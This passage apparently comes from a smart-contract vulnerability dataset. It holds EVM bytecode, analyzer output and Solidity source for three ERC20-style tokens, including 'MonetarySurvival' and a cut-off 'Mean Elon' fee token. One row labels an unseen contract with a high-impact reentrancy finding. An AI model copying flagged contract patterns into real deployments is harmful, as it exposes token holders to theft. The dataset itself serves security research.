082856020860282011115612c0257612c0161393b565b5b60005b85811015612c325781612c188882612c3c565b845260208401935060208301925050600181019050612c05565b5050509392505050565b600081359050612c4b81613d3b565b92915050565b600081519050612c6081613d3b565b92915050565b60008083601f840112612c7c57612c7b613936565b5b8235905067ffffffffffffffff811115612c9957612c98613931565b5b602083019150836020820283011115612cb557612cb461393b565b5b9250929050565b600082601f830112612cd157612cd0613936565b5b8135612ce1848260208601612bcc565b91505092915050565b600081359050612cf981613d52565b92915050565b600081359050612d0e81613d69565b92915050565b600060208284031215612d2a57612d29613945565b5b6000612d3884828501612c3c565b91505092915050565b600060208284031215612d5757612d56613945565b5b6000612d6584828501612c51565b91505092915050565b60008060408385031215612d8557612d84613945565b5b6000612d9385828601612c3c565b9250506020612da485828601612c3c565b9150509250929050565b600080600060608486031215612dc757612dc6613945565b5b6000612dd586828701612c3c565b9350506020612de686828701612c3c565b9250506040612df786828701612cff565b9150509250925092565b60008060408385031215612e1857612e17613945565b5b6000612e2685828601612c3c565b9250506020612e3785828601612cff565b9150509250929050565b600080600060408486031215612e5a57612e59613945565b5b600084013567ffffffffffffffff811115612e7857612e77613940565b5b612e8486828701612c66565b93509350506020612e9786828701612cea565b9150509250925092565b600060208284031215612eb757612eb6613945565b5b600082013567ffffffffffffffff811115612ed557612ed4613940565b5b612ee184828501612cbc565b91505092915050565b600060208284031215612f0057612eff613945565b5b6000612f0e84828501612cea565b91505092915050565b600060208284031215612f2d57612f2c613945565b5b6000612f3b84828501612cff565b91505092915050565b60008060008060808587031215612f5e57612f5d613945565b5b6000612f6c87828801612cff565b9450506020612f7d87828801612cff565b9350506040612f8e87828801612cff565b9250506060612f9f87828801612cff565b91505092959194509250565b6000612fb78383612fc3565b60208301905092915050565b612fcc8161372b565b82525050565b612fdb8161372b565b82525050565b6000612fec826135d1565b612ff681856135f4565b9350613001836135c1565b8060005b838110156130325781516130198882612fab565b9750613024836135e7565b925050600181019050613005565b5085935050505092915050565b6130488161373d565b82525050565b61305781613780565b82525050565b61306681613792565b82525050565b6000613077826135dc565b6130818185613605565b93506130918185602086016137c8565b61309a8161394a565b840191505092915050565b60006130b2602383613605565b91506130bd8261395b565b604082019050919050565b60006130d5603f83613605565b91506130e0826139aa565b604082019050919050565b60006130f8602a83613605565b9150613103826139f9565b604082019050919050565b600061311b601c83613605565b915061312682613a48565b602082019050919050565b600061313e602683613605565b915061314982613a71565b604082019050919050565b6000613161602283613605565b915061316c82613ac0565b604082019050919050565b6000613184602383613605565b915061318f82613b0f565b604082019050919050565b60006131a7601b83613605565b91506131b282613b5e565b602082019050919050565b60006131ca602183613605565b91506131d582613b87565b604082019050919050565b60006131ed602083613605565b91506131f882613bd6565b602082019050919050565b6000613210602983613605565b915061321b82613bff565b604082019050919050565b6000613233602583613605565b915061323e82613c4e565b604082019050919050565b6000613256602383613605565b915061326182613c9d565b604082019050919050565b6000613279602483613605565b915061328482613cec565b604082019050919050565b61329881613769565b82525050565b6132a781613773565b82525050565b60006020820190506132c26000830184612fd2565b92915050565b60006020820190506132dd600083018461303f565b92915050565b60006020820190506132f8600083018461304e565b92915050565b60006020820190508181036000830152613318818461306c565b905092915050565b60006020820190508181036000830152613339816130a5565b9050919050565b60006020820190508181036000830152613359816130c8565b9050919050565b60006020820190508181036000830152613379816130eb565b9050919050565b600060208201905081810360008301526133998161310e565b9050919050565b600060208201905081810360008301526133b981613131565b9050919050565b600060208201905081810360008301526133d981613154565b9050919050565b600060208201905081810360008301526133f981613177565b9050919050565b600060208201905081810360008301526134198161319a565b9050919050565b60006020820190508181036000830152613439816131bd565b9050919050565b60006020820190508181036000830152613459816131e0565b9050919050565b6000602082019050818103600083015261347981613203565b9050919050565b6000602082019050818103600083015261349981613226565b9050919050565b600060208201905081810360008301526134b981613249565b9050919050565b600060208201905081810360008301526134d98161326c565b9050919050565b60006020820190506134f5600083018461328f565b92915050565b600060a082019050613510600083018861328f565b61351d602083018761305d565b818103604083015261352f8186612fe1565b905061353e6060830185612fd2565b61354b608083018461328f565b9695505050505050565b600060208201905061356a600083018461329e565b92915050565b600061357a61358b565b905061358682826137fb565b919050565b6000604051905090565b600067ffffffffffffffff8211156135b0576135af613902565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061362182613769565b915061362c83613769565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561366157613660613875565b5b828201905092915050565b600061367782613769565b915061368283613769565b925082613692576136916138a4565b5b828204905092915050565b60006136a882613769565b91506136b383613769565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136ec576136eb613875565b5b828202905092915050565b600061370282613769565b915061370d83613769565b9250828210156137205761371f613875565b5b828203905092915050565b600061373682613749565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061378b826137a4565b9050919050565b600061379d82613769565b9050919050565b60006137af826137b6565b9050919050565b60006137c182613749565b9050919050565b60005b838110156137e65780820151818401526020810190506137cb565b838111156137f5576000848401525b50505050565b6138048261394a565b810181811067ffffffffffffffff8211171561382357613822613902565b5b80604052505050565b600061383782613769565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561386a57613869613875565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d448161372b565b8114613d4f57600080fd5b50565b613d5b8161373d565b8114613d6657600080fd5b50565b613d7281613769565b8114613d7d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220346b79e4b6c86538c78d414f95f058da3e96470ceafda20d3caa0febd526400b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,405 |
0x3ed419349f48d71a2c17357b2421d6e4fb670f28
|
/**
*Submitted for verification at Etherscan.io on 2021-04-27
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'MonetarySurvival' token contract
//
// Symbol : MSC
// Name : MonetarySurvival
// Total supply: 1 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract MonetarySurvival is BurnableToken {
string public constant name = "MonetarySurvival";
string public constant symbol = "MSC";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280601081526020017f4d6f6e6574617279537572766976616c0000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f4d5343000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea264697066735822122053ac9b84c800de3f2dd6dcd38355cc4a3214a320dd220b5107a7b1a5052b12bc64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,406 |
0x62efc2840dfe4be2f63616946dc56dddde708bc2
|
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
// Website: https://meanelon.com
// Telegram: https://t.me/meanelon
/*
.___ ___. _______ ___ .__ __. _______ __ ______ .__ __.
| \/ | | ____| / \ | \ | | | ____|| | / __ \ | \ | |
| \ / | | |__ / ^ \ | \| | | |__ | | | | | | | \| |
| |\/| | | __| / /_\ \ | . ` | | __| | | | | | | | . ` |
| | | | | |____ / _____ \ | |\ | | |____ | `----.| `--' | | |\ |
|__| |__| |_______/__/ \__\ |__| \__| |_______||_______| \______/ |__| \__|
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract MEANELON is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Mean Elon";
string private constant _symbol = "MEANELON";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxTxnAmount = 2;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
bool private _txnLimit = false;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
